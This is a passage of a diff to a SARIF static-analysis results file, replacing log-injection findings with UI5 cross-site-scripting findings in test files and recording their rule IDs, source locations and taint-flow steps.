+            "uriBaseId" : "%SRCROOT%",
+            "index" : 3
+          },
+          "region" : {
+            "startLine" : 21,
+            "startColumn" : 23,
+            "endColumn" : 30
+          }
+        },
+        "message" : {
+          "text" : "user-provided value"
+        }
+      } ]
+    }, {
+      "ruleId" : "js/log-injection",
+      "rule" : {
+        "id" : "js/log-injection",
+        "index" : 94,
+        "toolComponent" : {
+          "index" : 3
+        }
+      },
+      "message" : {
+        "text" : "Log entry depends on a [user-provided value](1)."
+      },
+      "locations" : [ {
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/heuristic-models/tests/Sources/test.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 4
+          },
+          "region" : {
+            "startLine" : 5,
+            "startColumn" : 17,
+            "endColumn" : 33
+          }
+        }
+      } ],
+      "partialFingerprints" : {
+        "primaryLocationLineHash" : "45280b24f3d81287:1",
+        "primaryLocationStartColumnFingerprint" : "12"
+      },
+      "codeFlows" : [ {
+        "threadFlows" : [ {
+          "locations" : [ {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/heuristic-models/tests/Sources/test.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 4
                 },
                 "region" : {
-                  "startLine" : 26,
-                  "startColumn" : 32,
-                  "endColumn" : 36
+                  "startLine" : 5,
+                  "startColumn" : 17,
+                  "endColumn" : 33
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "req.responseText"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+                  "uri" : "javascript/heuristic-models/tests/Sources/test.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 4
                 },
                 "region" : {
-                  "startLine" : 26,
-                  "startColumn" : 19,
-                  "endColumn" : 36
+                  "startLine" : 5,
+                  "startColumn" : 17,
+                  "endColumn" : 33
                 }
               },
               "message" : {
-                "text" : "\"console:\" + book"
+                "text" : "req.responseText"
               }
             }
           } ]
@@ -13775,14 +15721,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+            "uri" : "javascript/heuristic-models/tests/Sources/test.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 2
+            "index" : 4
           },
           "region" : {
-            "startLine" : 23,
-            "startColumn" : 34,
-            "endColumn" : 54
+            "startLine" : 5,
+            "startColumn" : 17,
+            "endColumn" : 33
           }
         },
         "message" : {
@@ -13790,34 +15736,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/log-injection",
+      "ruleId" : "js/ui5-xss",
       "rule" : {
-        "id" : "js/log-injection",
-        "index" : 90,
+        "id" : "js/ui5-xss",
+        "index" : 0,
         "toolComponent" : {
-          "index" : 2
+          "index" : 1
         }
       },
       "message" : {
-        "text" : "Log entry depends on a [user-provided value](1)."
+        "text" : "XSS vulnerability due to [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 3
+            "index" : 0
           },
           "region" : {
-            "startLine" : 7,
-            "startColumn" : 18,
-            "endColumn" : 41
+            "startLine" : 5,
+            "startColumn" : 27,
+            "endColumn" : 32
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "be9a18716e55d497:1",
-        "primaryLocationStartColumnFingerprint" : "13"
+        "primaryLocationLineHash" : "92dbc37bdafc7694:1",
+        "primaryLocationStartColumnFingerprint" : "22"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -13825,12 +15771,12 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 0
                 },
                 "region" : {
-                  "startLine" : 6,
+                  "startLine" : 3,
                   "startColumn" : 17,
                   "endColumn" : 51
                 }
@@ -13843,12 +15789,12 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 0
                 },
                 "region" : {
-                  "startLine" : 6,
+                  "startLine" : 3,
                   "startColumn" : 9,
                   "endColumn" : 51
                 }
@@ -13861,38 +15807,20 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 0
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 34,
-                  "endColumn" : 39
+                  "startLine" : 5,
+                  "startColumn" : 27,
+                  "endColumn" : 32
                 }
               },
               "message" : {
                 "text" : "value"
               }
             }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
-                },
-                "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 18,
-                  "endColumn" : 41
-                }
-              },
-              "message" : {
-                "text" : "`[INFO] ... value}`"
-              }
-            }
           } ]
         } ]
       } ],
@@ -13900,12 +15828,12 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 3
+            "index" : 0
           },
           "region" : {
-            "startLine" : 6,
+            "startLine" : 3,
             "startColumn" : 17,
             "endColumn" : 51
           }
@@ -13915,34 +15843,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/log-injection",
+      "ruleId" : "js/ui5-xss",
       "rule" : {
-        "id" : "js/log-injection",
-        "index" : 90,
+        "id" : "js/ui5-xss",
+        "index" : 0,
         "toolComponent" : {
-          "index" : 2
+          "index" : 1
         }
       },
       "message" : {
-        "text" : "Log entry depends on a [user-provided value](1)."
+        "text" : "XSS vulnerability due to [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 3
+            "index" : 0
           },
           "region" : {
-            "startLine" : 15,
-            "startColumn" : 18,
-            "endColumn" : 41
+            "startLine" : 12,
+            "startColumn" : 27,
+            "endColumn" : 32
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "be9a18716e55d497:2",
-        "primaryLocationStartColumnFingerprint" : "13"
+        "primaryLocationLineHash" : "faa1832c387d2ee5:1",
+        "primaryLocationStartColumnFingerprint" : "22"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -13950,162 +15878,215 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 0
                 },
                 "region" : {
-                  "startLine" : 13,
-                  "startColumn" : 23,
-                  "endColumn" : 30
+                  "startLine" : 10,
+                  "startColumn" : 17,
+                  "endColumn" : 41
                 }
               },
               "message" : {
-                "text" : "req.url"
+                "text" : "documen ... .search"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 0
                 },
                 "region" : {
-                  "startLine" : 13,
-                  "startColumn" : 13,
-                  "endColumn" : 37
+                  "startLine" : 10,
+                  "startColumn" : 9,
+                  "endColumn" : 41
                 }
               },
               "message" : {
-                "text" : "url.par ... , true)"
+                "text" : "value"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 0
                 },
                 "region" : {
-                  "startLine" : 13,
-                  "startColumn" : 9,
-                  "endColumn" : 37
+                  "startLine" : 12,
+                  "startColumn" : 27,
+                  "endColumn" : 32
                 }
               },
               "message" : {
-                "text" : "q"
+                "text" : "value"
               }
             }
-          }, {
+          } ]
+        } ]
+      } ],
+      "relatedLocations" : [ {
+        "id" : 1,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 0
+          },
+          "region" : {
+            "startLine" : 10,
+            "startColumn" : 17,
+            "endColumn" : 41
+          }
+        },
+        "message" : {
+          "text" : "user-provided value"
+        }
+      } ]
+    }, {
+      "ruleId" : "js/ui5-xss",
+      "rule" : {
+        "id" : "js/ui5-xss",
+        "index" : 0,
+        "toolComponent" : {
+          "index" : 1
+        }
+      },
+      "message" : {
+        "text" : "XSS vulnerability due to [user-provided value](1)."
+      },
+      "locations" : [ {
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 0
+          },
+          "region" : {
+            "startLine" : 20,
+            "startColumn" : 27,
+            "endColumn" : 33
+          }
+        }
+      } ],
+      "partialFingerprints" : {
+        "primaryLocationLineHash" : "8291f53a2e235d15:1",
+        "primaryLocationStartColumnFingerprint" : "22"
+      },
+      "codeFlows" : [ {
+        "threadFlows" : [ {
+          "locations" : [ {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 0
                 },
                 "region" : {
-                  "startLine" : 14,
+                  "startLine" : 17,
                   "startColumn" : 17,
-                  "endColumn" : 18
+                  "endColumn" : 41
                 }
               },
               "message" : {
-                "text" : "q"
+                "text" : "documen ... .search"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 0
                 },
                 "region" : {
-                  "startLine" : 14,
-                  "startColumn" : 17,
-                  "endColumn" : 24
+                  "startLine" : 17,
+                  "startColumn" : 9,
+                  "endColumn" : 41
                 }
               },
               "message" : {
-                "text" : "q.query"
+                "text" : "value"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 0
                 },
                 "region" : {
-                  "startLine" : 14,
-                  "startColumn" : 17,
-                  "endColumn" : 33
+                  "startLine" : 18,
+                  "startColumn" : 39,
+                  "endColumn" : 44
                 }
               },
               "message" : {
-                "text" : "q.query.username"
+                "text" : "value"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 0
                 },
                 "region" : {
-                  "startLine" : 14,
-                  "startColumn" : 9,
-                  "endColumn" : 33
+                  "startLine" : 18,
+                  "startColumn" : 18,
+                  "endColumn" : 45
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "jQuery. ... (value)"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 0
                 },
                 "region" : {
-                  "startLine" : 15,
-                  "startColumn" : 34,
-                  "endColumn" : 39
+                  "startLine" : 18,
+                  "startColumn" : 9,
+                  "endColumn" : 45
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "value1"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 0
                 },
                 "region" : {
-                  "startLine" : 15,
-                  "startColumn" : 18,
-                  "endColumn" : 41
+                  "startLine" : 20,
+                  "startColumn" : 27,
+                  "endColumn" : 33
                 }
               },
               "message" : {
-                "text" : "`[INFO] ... value}`"
+                "text" : "value1"
               }
             }
           } ]
@@ -14115,14 +16096,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 3
+            "index" : 0
           },
           "region" : {
-            "startLine" : 13,
-            "startColumn" : 23,
-            "endColumn" : 30
+            "startLine" : 17,
+            "startColumn" : 17,
+            "endColumn" : 41
           }
         },
         "message" : {
@@ -14130,34 +16111,35 @@
         }
       } ]
     }, {
-      "ruleId" : "js/log-injection",
+      "ruleId" : "js/ui5-xss",
       "rule" : {
-        "id" : "js/log-injection",
-        "index" : 90,
+        "id" : "js/ui5-xss",
+        "index" : 0,
         "toolComponent" : {
-          "index" : 2
+          "index" : 1
         }
       },
       "message" : {
-        "text" : "Log entry depends on a [user-provided value](1)."
+        "text" : "XSS vulnerability due to [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 3
+            "index" : 171
           },
           "region" : {
-            "startLine" : 24,
-            "startColumn" : 18,
-            "endColumn" : 42
+            "startLine" : 132,
+            "startColumn" : 7,
+            "endLine" : 134,
+            "endColumn" : 16
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "e197b363f9dc3962:1",
-        "primaryLocationStartColumnFingerprint" : "13"
+        "primaryLocationLineHash" : "63ace7b071639814:1",
+        "primaryLocationStartColumnFingerprint" : "0"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -14165,216 +16147,235 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
-                },
-                "region" : {
-                  "startLine" : 21,
-                  "startColumn" : 23,
-                  "endColumn" : 30
-                }
-              },
-              "message" : {
-                "text" : "req.url"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
-                },
-                "region" : {
-                  "startLine" : 21,
-                  "startColumn" : 13,
-                  "endColumn" : 37
-                }
-              },
-              "message" : {
-                "text" : "url.par ... , true)"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 170
                 },
                 "region" : {
-                  "startLine" : 21,
-                  "startColumn" : 9,
-                  "endColumn" : 37
+                  "startLine" : 23,
+                  "startColumn" : 25,
+                  "endColumn" : 48
                 }
               },
               "message" : {
-                "text" : "q"
+                "text" : "oSearch ... Value()"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 170
                 },
                 "region" : {
-                  "startLine" : 22,
-                  "startColumn" : 17,
-                  "endColumn" : 18
+                  "startLine" : 23,
+                  "startColumn" : 11,
+                  "endColumn" : 48
                 }
               },
               "message" : {
-                "text" : "q"
+                "text" : "searchValue"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 170
                 },
                 "region" : {
-                  "startLine" : 22,
-                  "startColumn" : 17,
-                  "endColumn" : 24
+                  "startLine" : 27,
+                  "startColumn" : 34,
+                  "endColumn" : 45
                 }
               },
               "message" : {
-                "text" : "q.query"
+                "text" : "searchValue"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 171
                 },
                 "region" : {
-                  "startLine" : 22,
-                  "startColumn" : 17,
-                  "endColumn" : 33
+                  "startLine" : 17,
+                  "startColumn" : 13,
+                  "endColumn" : 31
                 }
               },
               "message" : {
-                "text" : "q.query.username"
+                "text" : "{ type: \"string\" }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 171
                 },
                 "region" : {
-                  "startLine" : 22,
-                  "startColumn" : 9,
-                  "endColumn" : 33
+                  "startLine" : 133,
+                  "startColumn" : 8,
+                  "endColumn" : 27
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "oControl.getTitle()"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 171
                 },
                 "region" : {
-                  "startLine" : 23,
-                  "startColumn" : 39,
-                  "endColumn" : 44
+                  "startLine" : 132,
+                  "startColumn" : 7,
+                  "endLine" : 134,
+                  "endColumn" : 16
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "\"<div>T ... </div>\""
               }
             }
-          }, {
+          } ]
+        } ]
+      } ],
+      "relatedLocations" : [ {
+        "id" : 1,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 170
+          },
+          "region" : {
+            "startLine" : 23,
+            "startColumn" : 25,
+            "endColumn" : 48
+          }
+        },
+        "message" : {
+          "text" : "user-provided value"
+        }
+      } ]
+    }, {
+      "ruleId" : "js/ui5-xss",
+      "rule" : {
+        "id" : "js/ui5-xss",
+        "index" : 0,
+        "toolComponent" : {
+          "index" : 1
+        }
+      },
+      "message" : {
+        "text" : "XSS vulnerability due to [user-provided value](1)."
+      },
+      "locations" : [ {
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 194
+          },
+          "region" : {
+            "startLine" : 14,
+            "startColumn" : 23,
+            "endColumn" : 41
+          }
+        }
+      } ],
+      "partialFingerprints" : {
+        "primaryLocationLineHash" : "fc87b07640e9d85:1",
+        "primaryLocationStartColumnFingerprint" : "10"
+      },
+      "codeFlows" : [ {
+        "threadFlows" : [ {
+          "locations" : [ {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 199
                 },
                 "region" : {
-                  "startLine" : 23,
-                  "startColumn" : 18,
-                  "endColumn" : 45
+                  "startLine" : 5,
+                  "startColumn" : 5,
+                  "endLine" : 7,
+                  "endColumn" : 29
                 }
               },
               "message" : {
-                "text" : "jQuery. ... (value)"
+                "text" : "value={/input}"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 195
                 },
                 "region" : {
-                  "startLine" : 23,
-                  "startColumn" : 9,
-                  "endColumn" : 45
+                  "startLine" : 9,
+                  "startColumn" : 17,
+                  "endColumn" : 28
                 }
               },
               "message" : {
-                "text" : "value1"
+                "text" : "input: null"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 194
                 },
                 "region" : {
-                  "startLine" : 24,
-                  "startColumn" : 34,
-                  "endColumn" : 40
+                  "startLine" : 7,
+                  "startColumn" : 23,
+                  "endColumn" : 41
                 }
               },
               "message" : {
-                "text" : "value1"
+                "text" : "{ type: \"string\" }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 194
                 },
                 "region" : {
-                  "startLine" : 24,
-                  "startColumn" : 18,
-                  "endColumn" : 42
+                  "startLine" : 14,
+                  "startColumn" : 23,
+                  "endColumn" : 41
                 }
               },
               "message" : {
-                "text" : "`[INFO] ... alue1}`"
+                "text" : "oControl.getText()"
               }
             }
           } ]
@@ -14384,14 +16385,15 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 3
+            "index" : 199
           },
           "region" : {
-            "startLine" : 21,
-            "startColumn" : 23,
-            "endColumn" : 30
+            "startLine" : 5,
+            "startColumn" : 5,
+            "endLine" : 7,
+            "endColumn" : 29
           }
         },
         "message" : {
@@ -14399,34 +16401,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/log-injection",
+      "ruleId" : "js/ui5-xss",
       "rule" : {
-        "id" : "js/log-injection",
-        "index" : 90,
+        "id" : "js/ui5-xss",
+        "index" : 0,
         "toolComponent" : {
-          "index" : 2
+          "index" : 1
         }
       },
       "message" : {
-        "text" : "Log entry depends on a [user-provided value](1)."
+        "text" : "XSS vulnerability due to [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/heuristic-models/tests/Sources/test.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 4
+            "index" : 203
           },
           "region" : {
-            "startLine" : 5,
-            "startColumn" : 17,
-            "endColumn" : 33
+            "startLine" : 14,
+            "startColumn" : 32,
+            "endColumn" : 50
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "45280b24f3d81287:1",
-        "primaryLocationStartColumnFingerprint" : "12"
+        "primaryLocationLineHash" : "352d5eac262ae765:1",
+        "primaryLocationStartColumnFingerprint" : "15"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -14434,36 +16436,73 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/heuristic-models/tests/Sources/test.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 4
+                  "index" : 208
                 },
                 "region" : {
                   "startLine" : 5,
-                  "startColumn" : 17,
-                  "endColumn" : 33
+                  "startColumn" : 5,
+                  "endLine" : 7,
+                  "endColumn" : 29
                 }
               },
               "message" : {
-                "text" : "req.responseText"
+                "text" : "value={/input}"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/heuristic-models/tests/Sources/test.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 4
+                  "index" : 204
                 },
                 "region" : {
-                  "startLine" : 5,
+                  "startLine" : 9,
                   "startColumn" : 17,
-                  "endColumn" : 33
+                  "endColumn" : 28
                 }
               },
               "message" : {
-                "text" : "req.responseText"
+                "text" : "input: null"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 203
+                },
+                "region" : {
+                  "startLine" : 7,
+                  "startColumn" : 23,
+                  "endColumn" : 41
+                }
+              },
+              "message" : {
+                "text" : "{ type: \"string\" }"
